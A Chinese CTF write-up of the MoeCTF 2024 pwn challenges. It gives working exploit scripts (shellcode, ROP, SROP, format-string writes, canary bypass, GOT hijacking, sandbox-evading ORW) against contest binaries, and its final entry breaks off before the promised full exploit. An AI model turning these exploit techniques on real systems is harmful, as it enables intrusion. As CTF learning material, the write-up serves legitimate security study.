引言:
2024年MoeCTF-Pwn方向复健......
2 Not Enough Time
很基础的pwntools使用,链接远程服务是计算算式。
只要接受远程的算式然后算出来再发回去就好了,需要注意的就是有的算式可能是小数,正数的小数要向下取整,负数也需要向下取整,即-3.6
需要发送-4
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from wstube import websocketimport mathp = websocket("wss://ctf.xidian.edu.cn/api/traffic/yPC0muu0Vi9OKlVsJTQPl?port=9999" ) p.recvline() p.recvline() for i in range (2 ): to_do = p.recvuntil(b"=" )[:-1 ] payload = str (round (eval (to_do.decode()))) p.sendline(payload) p.recvline() while (1 ): to_do = p.recvuntil(b"=" )[:-1 ].replace(b"\n" , b"" ) log.info(to_do) payload_float = eval (to_do.decode()) payload = str (math.floor(eval (to_do.decode()))) log.info(payload) log.info(payload_float) p.sendline(payload) p.interactive()
flag: moectf{4RltHM3TlC_Is_nOt-MaTH3matICS16b02bc}
3 no_more_gets
IDA查看有一个后门函数,没开PIE,有gets溢出点。
常规ret2test,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from wstube import websocketp = websocket("wss://ctf.xidian.edu.cn/api/traffic/ONk1pErygtYAgk3qf4Nkt?port=9999" ) elf = ELF("./lockedshell" ) context.arch = "amd64" context.log_level = "debug" p.recv() pause() p.sendline(b"A" * 88 + p64(0x401193 ) + p64(0 )) p.interactive()
flag: moectf{GeTs_5tR1Ng-thUS_g3T5-FI4G48f2e97f}
4 leak_sth
IDA查看有一个后门函数,开了PIE,有一个格式化字符串漏洞。
代码大意是输入一个数,如果和一个生成的随机数相等,则可以getshell
常规的fmt,先利用printf泄露栈上的v3,再输入和v3相等的数字即可getshell
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/i48poa7ytE8JnFGAZdwgf?port=9999" ) offset = 7 p.recv() payload = ("%{}$p" .format (offset)).encode() p.sendline(payload) p.recvline() result = eval (p.recvline()) p.info(hex (result)) p.sendline(str (result)) p.interactive()
flag: moectf{yOu_4r3_1uky-oR-Clev3Rcfe1dae2}
5 ez_shellcode
checksec查看文件,发现栈可执行。
IDA查看,给了一个栈上的地址和一个可以任意操控长度的可输入字符串。
那就直接溢出把shellcode布在栈上好了。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/SmGD2PtDACoAeKYmSSKLH?port=9999" ) size = 0x4000 p.sendlineafter(b"Tell me your age:" , str (size)) p.recvline() p.recvline() stack_addr = eval (p.recvline().decode()) p.info(hex (stack_addr)) payload = (b"A" * (0x60 + 8 ) + p64(stack_addr + 0x100 )).ljust(0x100 , b"\x00" ) payload += asm(shellcraft.sh()) p.recvline() p.sendline(payload) p.interactive()
flag: moectf{WelI-d0Ne_My_fRieND5a568c95e0}
6 这是什么?libc!
IDA查看,可泄露一个libc的函数地址,也就可以算出libc基址,然后常规pop,bin_sh,system就可以 / one_gadget
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/l311TgUz2znHEZyLjh62s?port=9999" ) libc = ELF("./libc.so.6" ) p.recvuntil(b"PIE enabled, but no worry.\nI give you an address in libc: " ) libc_base = eval (p.recv(14 ).decode()) - libc.sym["puts" ] p.info(hex (libc_base)) pop_rdi = libc_base + libc.search(asm("pop rdi; ret;" )).__next__() bin_sh = libc_base + libc.search(b"/bin/sh" ).__next__() system = libc_base + libc.sym["system" ] one_gadget = [0x50a47 , 0xebc81 , 0xebc85 , 0xebc88 ] p.recv() payload = b"A" + p64(libc_base + 0x1bd000 + 0x78 ) + p64(libc_base + one_gadget[0 ]) p.sendline(payload) p.interactive()
需要注意的是要把rbp控到一个最好附近都是可读可写的地方,这样不管压栈还是弹栈,内部函数的地址读写都不会出现问题。
flag: moectf{5o-mucH_ExpIoiTable-ln-ll6C1d5c87f}
7 这是什么?shellcode!
这题IDA F5会出点问题,没关系直接看汇编就行
常规shellcode,连检查都没有
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/H1DEjtScGhOqZfZ9DTkWO?port=9999" ) p.recv() payload = asm(shellcraft.sh()) p.sendline(payload) p.interactive()
flag: moectf{GetSh31L-NEvER-5o_e45Y3070a658b}
8 这是什么?random!
IDA查看程序,看起来是一个随机数预测,上面框起来的部分用timer的day作为种子,所以很好预测,可以绕过。
后面的预测部分可以不管,因为输错了也不会exit,之后就可以很丝滑的输出flag了。
所以我们需要解决的就是上面的0xa次预测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> #include <stdlib.h> #include <time.h> int main () { time_t timer = time(0 ); struct tm *v3 = localtime(&timer); srandom(v3->tm_yday); for (int i = 0 ; i < 0xa ; i++){ printf ("%ld," , random()); } return 0 ; }
输出0xa次的随机数并记录,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/5mGwaBpfPkuYbz6NjAEjg?port=9999" ) rand = [666013448 ,768862621 ,1035996543 ,271022445 ,1992279851 ,457888285 ,9828597 ,2035788471 ,1569542676 ,1054662629 ] for i in range (0xa ): p.sendlineafter(b"Guess a five-digit number I'm thinking of\n> " , str (rand[i] % 90000 + 10000 )) p.sendlineafter(b"Guess a five-digit number I'm thinking of\n> " , str (1 )) p.interactive()
flag: moectf{RANdoM-num6Ers-4re-PreD1cTA6I36c63c9}
9 flag_helper
考mmap的参数传递:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/NkpYPianFkRCkvf6KxdAX?port=9999" ) p.sendlineafter(b'>' ,b'4' ) p.sendlineafter(b'>' ,b'./flag' ) p.sendlineafter(b'>' ,b'0' ) p.sendlineafter(b'>' ,b'7' ) p.sendlineafter(b'>' ,b'34' ) p.sendlineafter(b'>' ,b'5' ) p.interactive()
flag: moectf{Fll3_dEScRlPT0R-l5_Pr3d1ct4blE27d5c2}
10 这是什么?GOT!
环境问题,暂时没通 。
11 NX_on!
感觉是程序环境有点问题,j_memcpy一直跳不进去,不知道什么情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = process("./pwn" ) canary_t = b"A" * 25 p.sendafter(b"Your id?" , canary_t) p.recvuntil(canary_t) canary = u64(p.recv(7 ).rjust(8 , b"\x00" )) elf = ELF("./pwn" ) p.info(hex (canary)) payload = b'' payload += b"A" * 24 payload += p64(canary) payload += b"A" * 8 payload += p64(0x000000000040a40e ) payload += p64(0x00000000004e3940 ) payload += p64(0x00000000004508b7 ) payload += b'/bin//sh' payload += p64(0x0000000000452e15 ) payload += p64(0x000000000040a40e ) payload += p64(0x00000000004e3948 ) payload += p64(0x0000000000445650 ) payload += p64(0x0000000000452e15 ) payload += p64(0x000000000040239f ) payload += p64(0x00000000004e3940 ) payload += p64(0x000000000040a40e ) payload += p64(0x00000000004e3948 ) payload += p64(0x000000000049d12b ) payload += p64(0x00000000004e3948 ) payload += p64(0x4141414141414141 ) payload += p64(0x0000000000445650 ) payload += p64(0x00000000004508b7 ) payload += p64(0x3b ) payload += p64(0x0000000000402154 ) payload = payload.ljust(256 , b"\x00" ) p.info(hex (len (payload))) p.sendafter(b"Your real name?\n" , payload) p.sendlineafter(b"give me the size of your real name , 0 means quit\n" , str (-1 )) p.interactive()
12 这是什么?32-bit!
IDA查看,有一个vuln函数有一个溢出点
一个backdoor函数,给了execve,但是给的是错误的命令。
查看字符串,该有的都有
常规32位rop,传参的时候要注意返回地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/wpKDKtDIBhevXOFw2SY4H?port=9999" ) elf = ELF("./backdoor" ) padding = b"A" * (36 + 4 + 4 + 1 ) payload = b"" payload += padding payload += p32(elf.plt["execve" ]) payload += p32(elf.sym["main" ]) payload += p32(0x0804A011 ) payload += p32(0 ) * 2 p.recv() p.sendline(payload) p.interactive()
flag: moectf{8aCk_to_THE_g00D_0ld_d4Y5abd08649}
13 Moeplane
一个简单的fuzz,给了一张图片,表示这个结构体里面的成员变量:
image-20241007003445301
连接远程看看,好像背景是一个空难,然后有四个引擎。我们可以通过adjust
去手动调引擎的动力,但是这些引擎会随着时间而逐渐崩溃。
adjust engine thrust
选项接受两个参数:
这里限制了动力值只能0~100
根据上面的图片可能会有数组反向溢出。
试验一下,把-12偏移的位置改成30.
成功了,真的有这个漏洞。那接下来只要算好偏移逐字节改掉就好了。
但是还有一个问题,就是我们只能改0~100的数字,如果我们要改0xf1
这种有字符的就不行了。
后来发现那个target
的值就是0x1020304050
真好,都不用费劲了,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/9CtVFdIvhycESYKLEo7ep?port=9999" ) p.recvuntil(b"Target: " ) target = eval (p.recvline()[:-1 ].decode()) p.recv() p.info(hex (target)) for i in range (5 ): p.sendline(b"1" ) p.recv() p.sendline(str (-19 + i)) p.recv() p.sendline(str ((target >> (i * 8 )) % 0x100 )) print (hex ((target >> (i * 8 )) % 0x100 )) p.interactive()
flag: moectf{COmpUtEr_f@1IUrE-w0nT_IeT_y0u_fLy360cd5}
14 LoginSystem
IDA查看,有一个fmt_str漏洞,可以利用它去泄露password。
比较方便,没有开PIE,先把password的地址布在栈上,然后利用%s
泄露即可。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/1ZPqnYwOuH35AlqgGmJIs?port=9999" ) addr = 0x404050 offset = 8 payload = b"" payload += b"%9$s" .ljust(8 , b"\x00" ) payload += p64(0x404050 ) p.recv() p.sendline(payload) p.recvuntil(b"Welcome, " ) password = u64(p.recv(8 )) p.recv() p.sendline(p64(password)) p.interactive()
flag: moectf{0H_you_CaN_byP4SS_ThE_P4ssw0rd1449ada}
15 Catch_the_canary!
简单的scanf
输入跳过 + 爆破 + canary
绕过
查看程序,程序中提供了一个后门函数帮助getshell
main函数里面最下面有一个溢出点,第一次输入可以用来泄露canary
, 第二次输入可以跳转到后门函数。
但在此之前main函数里面还加了几层限制。
第一步是让输入一个数和一个随机数校验,但观察到有一个while循环,可以无限次输入。还观察到随机数是有范围的,(对0x2345取余)所以这里进行一个简单的爆破即可。
第二步也是一个校验,需要对v9
数组里面的元素赋值,赋值之后要检查和原来的值是否一样,这里用一个小trick跳过就好了。
scanf
函数在输入整形数时。如果输入+
,-
等符号会跳过本次输入。
第三步需要比较v10
是否等于一个数,上面的scanf
实际上是有一个溢出的,数组只有两个元素可以通过下标溢出到v10
。只需要再第三次输入的时候把那个数输进去就好。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/wkkFXsO3xlIEOEepIUNoc?port=9999" ) elf = ELF("./mycanary" ) p.recv() for i in range (0x2345 ): p.sendline(str (i + 16768186 )) if b"Cage" in p.recv(): break p.sendline("+" ) p.sendline("+" ) p.sendline(str (195874819 )) p.recv() payload = b"" payload += b"A" * (24 ) p.sendline(payload) p.recvuntil(payload + b"\n" ) canary = p.recv(7 ).rjust(8 , b"\x00" ) payload = b"" payload += b"A" * 24 payload += canary payload += b"A" * 8 payload += p64(0x4012C9 ) p.recv() p.sendline(payload) p.interactive()
flag: moectf{tHRe3-b@siC_W4Ys-For-C@nARY_bYPa5S1ng2a63}
16 shellcode_revenge
IDA查看程序,加了沙箱ban了system,然后还有一堆的函数。一个个看。
在admin log中会对pwd进行一次随机初始化(仅进行一次,后续运行admin log不会初始化),需要我们输入密码,才能把level提升到1。
同时我们观察到pwd是作为全局变量的,create函数中有一个负数溢出,我们可以直接把地址溢出到pwd的地址处,读写覆盖。
覆盖之后我们就可以调用operator
函数去注入shellcode了。
但是operator里面有对shellcode长度的限制。没关系,我只需要0xA
字节就可以实现shellcode的覆写。
也算是这个月见的新题了,之前在校巴上玩shellcode_master学到的。
我们看这段汇编,call rdx
指令就是调用shellcode的,call
指令会将返回地址压栈,就是0x1785
所以我们可以在shellcode
里面把这个地址pop
出来,获取到程序的真实地址,之后控一下rdx寄存器,再跳转到0x175d
就可以完成shellcode的重写。这段shellcode利用pop | push | jmp
操作的话最短可以到0xA
的长度。
1 2 3 4 5 6 7 8 9 offset = 0x1785 -0x175d shell_read = """ pop rbx sub rbx, {} pop rdx jmp rbx """ .format (offset)
关于控rdx
寄存器:因为这里一般的思路是push
一个数,然后再pop
给rdx
。但是这样的话达不到最小的长度利用。我们可以通过动态调试看看pop
完rbx
之后栈顶数据是啥,如果很大的话不如直接pop
给rdx
,又节省空间又省事。
覆写shellcode,注意到程序加了沙箱,所以需要用orw绕过。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = process("./pwn" ) offset = 0x1785 -0x175d shell_read = """ pop rbx sub rbx, {} pop rdx jmp rbx """ .format (offset)flag_qword = u64(b"flag" .ljust(8 , b"\x00" )) shell_orw = """ mov rbx, {} push rbx mov rcx, rsp mov rax, 2 mov rdi, rcx mov rsi, 0 mov rdx, 0 syscall mov rdi, 3 mov rsi, rsp sub rsi, 0x100 mov rdx, 0x50 mov rax, 0 syscall mov rdi, 1 mov rax, 1 mov rdx, 0x50 mov rax, 1 syscall """ .format (flag_qword)p.recv() p.sendline(str (3 )) p.recv() p.sendline(str (-8 )) p.recv() p.sendline(p32(1 )) p.recv() p.sendline(str (4 )) p.recv() p.sendline(asm(shell_read)) p.sendline(asm(shell_orw)) p.interactive()
flag: moectf{g00D_J0b-you-aRe-S0-cIEVeR41bfaabd}
17 Pwn_it_off!
IDA查看程序
beep函数会进行不定次数的v3初始化,每次初始化都是随机的。
之后我们需要绕过voice_pwd
, num_pwd
两次验证,就能拿到flag
很明显在进行验证之前并没有进行栈的清理,导致之前的数据还在,而beep函数开的栈是最大的,还会将v3给输出出啦。
所以我们可以利用beep函数的脏数据绕过voice_pwd,通过voice_pwd的\x00
截断绕过strcmp
,布置脏数据给num_pwd
使用。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/9kVIEvUd1GcUiY1Yzbwil?port=9999" ) v3_pos = -0x4c s2_pos = -0x30 v2_pos = -0x20 v1_pos = -0x18 num_standard = 0x1869e while (1 ): load_ = p.recvline() if b"[Error]" not in load_: origin_load = load_ else : break voice_pass = origin_load[s2_pos - v3_pos : s2_pos - v3_pos + 0xf ] + b"\x00" p.sendlineafter(b"[Info] Speak out the voice password.\n" , voice_pass + b"\x9e\x86\x01\x00\x00\x00\x00" ) p.sendlineafter(b"[Info] Input the numeric password.\n" , str (num_standard)) p.interactive()
flag: moectf{D0n't_FORgeT-TO_53t-p@5swORd-@gA1N2fdcc0}
18 Return 15
IDA查看,main函数有一个溢出点
还有两个函数:
系统调用号0xf
,syscall | ret
gadget,常规srop + ret2syscall。
同时发现程序有给字符串/bin/sh
通过srop调整寄存器,用syscall来触发系统中断,getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/huqBAUUdo4KMyUVDP6SxV?port=9999" ) rax_set = 0x000000000040110A syscall_ret = 0x000000000040111C sh_address = 0x402008 frame = SigreturnFrame() frame.rax = 59 frame.rdi = sh_address frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret payload = b"" payload += b"A" * (32 + 8 ) payload += p64(rax_set) payload += p64(syscall_ret) payload += bytes (frame) p.sendline(payload) p.interactive()
flag: moectf{Y0U-C@ughT_Th3_lS-and-5ROp!e39512b6}
可视化shellcode + 沙箱。
找时间想自己写一写,现在不会。
20 System_not_Found
很有意思的一个题。
main函数里面有两个漏洞点,可以通过buf溢出去覆盖nbytes,来达到溢出v6的目的。
但是他会在输入之后手动在字符串后面加上\x00
,也就是没办法通过puts函数泄露栈上数据。
程序没有开PIE,在gadget里面并没有找到pop rdi
。
但是很有意思的一个点,通过动态调试可以发现,在main函数结束完最后一个printf返回的时候,rdi在printf函数里被设置成了一个指针,指向一个名为funlockfile
的libc函数。
通过libc的解析可以发现这个函数原名为_IO_funlockfile
,我们可以直接通过这个指针去泄露_IO_funlockfile
的地址,从而达到泄露libc
基址的目的。
之后再返回来vuln
函数实现一次华丽的getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/N5ZNagpcEpj7S0O9FYdPW?port=9999" ) elf = ELF("./dialogue" ) libc = ELF("./libc.so.6" ) p.recv() payload = b"A" * 16 + b"\x7f" + b"1" p.sendline(payload) pause() payload = b"A" * (0x28 + 8 ) payload += p64(elf.plt["puts" ]) payload += p64(elf.sym["main" ]) p.sendlineafter(b"Where do you come from?\n> " , payload) p.recvline() funlockfile = u64(p.recv(6 ).ljust(8 , b"\x00" )) libc_base = funlockfile - libc.sym["_IO_funlockfile" ] one_gadget = [0x50a47 , 0xebc81 , 0xebc85 , 0xebc88 ] p.info(hex (libc_base)) p.recv() payload = b"A" * 16 + b"\x7f" + b"1" p.sendline(payload) payload = b"A" * (0x28 ) payload += p64(0x404040 + 0x100 ) payload += p64(one_gadget[1 ] + libc_base) p.sendlineafter(b"Where do you come from?\n> " , payload) p.interactive()
flag: moectf{That's-4-b3@UTifuI_SHEIL78009f21}
21 Read_once_twice!
IDA查看,有一个后门函数,有一个vuln函数,一个溢出点,但是开了canary
。
常规思路,第一次泄露canary,第二次跳到后门函数。但是观察到函数开了PIE,这里也只有8个字节的溢出,所以必须跳回vuln
函数不能只输入两次。
vuln
函数是被main
程序调用的, 看main
函数里面这两句代码的地址关系:
返回地址0x130c
, call vuln函数地址0x1307
, 可以通过返回地址的单字节溢出,覆盖返回地址从0c
到07
,实现vuln函数的重调。
重调之后第一次输入泄露返回地址,第二次输入直接跳到后门函数。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/3cwWspMwUN5FeCzyoae1d?port=9999" ) elf = ELF("./twice" ) ret_addr_rel = 0x000000000000130C call_vuln = 0x0000000000001307 payload = b"a" * 25 p.sendafter(b"What can you do when almost all protections are turned on?\n" , payload) p.recvuntil(payload) canary = u64(p.recv(7 ).rjust(8 , b"\x00" )) payload = b"A" * 24 payload += p64(canary) payload += b"A" * 8 payload += b"\x07" p.sendafter(b"If I give you one more chance...\n" , payload) payload = b"A" * 0x28 p.sendafter(b"What can you do when almost all protections are turned on?\n" , payload) p.recvuntil(payload) ret_addr = u64(p.recv(6 ).ljust(8 , b"\x00" )) target_addr = ret_addr - ret_addr_rel + 0x11c6 payload = b"A" * 24 payload += p64(canary) payload += b"A" * 8 payload += p64(target_addr) p.sendafter(b"If I give you one more chance...\n" , payload) p.interactive()
flag: moectf{You-h4ve_Not_onLy-OnE_mORe_CH4ncE38f149}
22 Where is fmt?
简单的非栈上fmt
一个vuln函数里面给了三次fmt利用机会。考虑到buf是非栈上的,也就是要从栈里面找现成的数据。
gdb调试一下,看栈里的数据,发现有一条链子可以利用。
1 2 3 4 5 6 7 8 # 00 :0000 │ rsp 0x7fffffffdc20 —▸ 0x40129e (main) ◂— endbr64 # 01 :0008 │-008 0x7fffffffdc28 ◂— 0x3004011fa # 02 :0010 │ rbp 0x7fffffffdc30 —▸ 0x7fffffffdc40 ◂— 1 # 03 :0018 │+008 0x7fffffffdc38 —▸ 0x4012ba (main+28 ) ◂— mov eax , 0 # 09 :0048 │+038 0x7fffffffdc68 —▸ 0x7fffffffdd58 —▸ 0x7fffffffe007 ◂— '/home/wingee/Pwn&Reverse/moe/22/pwn' # 27 :0138 │ r12 0x7fffffffdd58 —▸ 0x7fffffffe007 ◂— '/home/wingee/Pwn&Reverse/moe/22/pwn'
就是这个0xdd58
->0xe007
->....
这两个指针都是位于栈上的,并且前一个指针指向后一个指针。我们可以通过fmt利用前一个指针去修改后一个的指针值,让他去指向我们想要去修改的数据的地址,进而完成任意地址写。
所以本题的思路一共分三步:
利用第一次的fmt泄露rbp指向的值,泄露栈地址。根据这个栈地址,算出指向vuln函数返回地址的栈指针。
利用第二次的fmt,通过0xdd58
的栈指针修改后一个指针指向vuln函数的返回地址。
利用第三次的fmt,通过后一个指针,修改返回地址为backdoor
函数地址。(注意栈对齐,实际上跳过压栈的语句)
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/Dg9V4W1UdTMXEnoi1GSzN?port=9999" ) rbp_offset = 8 backdoor = 0x401205 payload = "%{}$p" .format (rbp_offset) p.sendlineafter(b"\nYou have 3 chances.\n" , payload) rbp_addr = eval (p.recv(14 ).decode()) - 0x10 target_addr = rbp_addr + 8 offset_2 = rbp_offset + (0x68 - 0x30 ) // 8 offset_3 = rbp_offset + (0xdd58 - 0xdc30 ) // 8 payload = "%{}c%{}$hn" .format (target_addr % 0x10000 , offset_2) p.sendlineafter(b"\nYou have 2 chances.\n" , payload) payload = "%{}c%{}$hn" .format (backdoor % 0x10000 , offset_3) p.sendlineafter(b"\nYou have 1 chances.\n" , payload) p.interactive()
flag: moectf{c0NGr4TU1aT1ONs_You-f0Und-it5f97513}
23 Got it!
IDA查看,vuln函数支持一个对saves
数组实现增改计算的功能。
观察calc函数,发现没有对下标负数的检查,可以实现任意地址的读写。
checksec查看程序, 发现是partial Relro
,可以修改GOT表。
那就是常规GOT表劫持,修改puts的GOT表为system,之后调用show_saves
的时候就可以将save里的字符串当做命令传输给system。
这个题钻了好久牛角尖,非要把puts的GOT表里面的地址泄露出来,没必要啊,只要将puts的GOT表里面的地址减去它在libc里面的system函数的偏移就能实现劫持。思维定式了属于是。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *from wstube import websocketcontext.arch = "amd64" context.log_level = "debug" p = websocket("wss://ctf.xidian.edu.cn/api/traffic/IBdl5ngrvh0PoZnqHNpxH?port=9999" ) elf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) saves_addr = 0x4080 offset_to_system = libc.sym["system" ] - libc.sym["puts" ] add = 1 sub = 2 mul = 3 div = 4 back = 5 def calc (offset, operator, operand ): p.sendlineafter(b"1. Select an archive\n2. Show results\n3. Exit\n" , str (1 )) p.sendlineafter(b"Which archive do you want to use?\n" , str (offset)) p.sendlineafter(b"> " , str (operator)) if operator == back: return p.sendlineafter(b"Operand: " , str (operand)) p.sendlineafter(b"> " , str (5 )) def show_saves (): p.sendlineafter(b"1. Select an archive\n2. Show results\n3. Exit\n" , str (2 )) def leak_saves (): p.sendlineafter(b"1. Select an archive\n2. Show results\n3. Exit\n" , str (3 )) for i in range (16 ): calc(i, add, u64(b"/bin/sh\x00" )) show_saves() offset_to_puts_got = int ((saves_addr - elf.got["puts" ]) / 8 ) offset_to_now_save = 16 offset_be_now_puts_got = offset_to_puts_got * 8 + 16 * 8 calc(offset_to_now_save, sub, offset_be_now_puts_got) p.sendlineafter(b"1. Select an archive\n2. Show results\n3. Exit\n" , str (1 )) p.sendlineafter(b"Which archive do you want to use?\n" , str (offset_to_now_save)) p.sendlineafter(b"> " , str (sub)) p.sendlineafter(b"Operand: " , str (offset_be_now_puts_got)) p.sendlineafter(b"> " , str (add)) p.sendlineafter(b"Operand: " , str (offset_to_system)) p.sendlineafter(b"> " , str (back)) p.recv() p.sendline(str (3 )) p.interactive()
flag: moectf{yOU_KNoW-what-i5_p4RtI@L-R3LRo9dd80b}
24 栈的奇妙之旅
IDA查看程序,只给了16个字节的溢出,栈地址不知道,什么都不知道,程序没开PIE,可以溢出之后再跳回来。但是感觉没意义。
还给了一个pop rdi| ret
的gadget
常规思路是栈迁移,可以迁到.data
段或者.bss
段。但我们需要重新在上面布栈,因为之前这些地方是空的。
下面这段代码可以好好利用一下。
1 2 3 4 5 6 7 8 9 10 11 12 lea_addr_read = 0x4011E5 leave_ret = 0x4011FC call_read_leave_ret = 0x4011F6 pop_rdi = 0x4011C5
我们知道栈迁移是需要连续调用两次leave|ret
才能把栈迁到我们想要的地方,但是很明显我们这次就不能只把返回地址覆盖成leave|ret
,因为迁过去之后栈是空的。
我们可以利用上面这个read
输入来在迁移之前布栈。
通过动态调试可以发现_read
函数调用前后rsp
和rbp
是不变的。并且输入地址是以rbp
为基准的rbp - 0x80
处。也就是说我们可以在迁移之前,利用这段代码,实现布栈。
1 2 3 4 5 6 7 8 9 10 11 12 data_seg = 0x404000 + 0x750 payload = b"" payload += b"A" * 0x80 payload += p64(data_seg + 0x80 ) payload += p64(lea_addr_read) p.sendafter(b"16 bytes can you kill me?" , payload)
布栈的代码如下,我们需要去泄露libc的地址,就必须泄露某个函数的地址。很显然虽然调用了上述的布栈手段,但16字节的溢出在迁移之后有效的只有最后的八字节。
这是明显不够的,所以我们需要二次迁移,在布栈的时候,就将rbp指向的位置覆盖为rbp - 0x80
,并将一次迁移之后rsp
指向的位置(返回地址)覆盖为leave|ret
,实现二次迁移。
由此,在二次迁移之后,rsp
就会顺利指向pop_rdi
。
关于payload最开始8个字节要覆盖为data_seg + 0x80
。因为在二次迁移之后,rbp需要是一个附近可读可写的地址,以达到后续调用system时的要求。更重要的,我们这次的输入只是为了泄露libc基址,调用system还需要重新布栈。
1 2 3 4 5 6 7 8 payload = p64(data_seg + 0x80 ) payload += p64(pop_rdi) payload += p64(elf.got["puts" ]) payload += p64(elf.plt["puts" ]) payload += p64(lea_addr_read) payload = payload.ljust(0x80 , b"A" ) payload += p64(data_seg) payload += p64(leave_ret)
泄露libc
基址后再次返回read片段,重新布栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 p.send(payload) p.recvline() puts_addr = u64(p.recv(6 ).ljust(8 , b"\x00" )) p.info(hex (puts_addr)) libc_base = puts_addr - libc.sym["puts" ] p.info(hex (libc_base)) system = libc_base + libc.sym["system" ] payload = b"/bin/sh\x00" payload += b"A" * 0x18 payload += p64(pop_rdi) payload += p64(data_seg) payload += p64(system) payload = payload.ljust(0x80 , b"A" ) payload += p64(data_seg) payload += p64(leave_ret) p.send(payload)
在调用玩puts.plt
之后,rsp指针指向了data_seg + 0x20
的位置,在read函数返回之后,rsp指向的还是这个位置。所以真正的rop要从0x20
偏移处布置。-
完整exp如下:
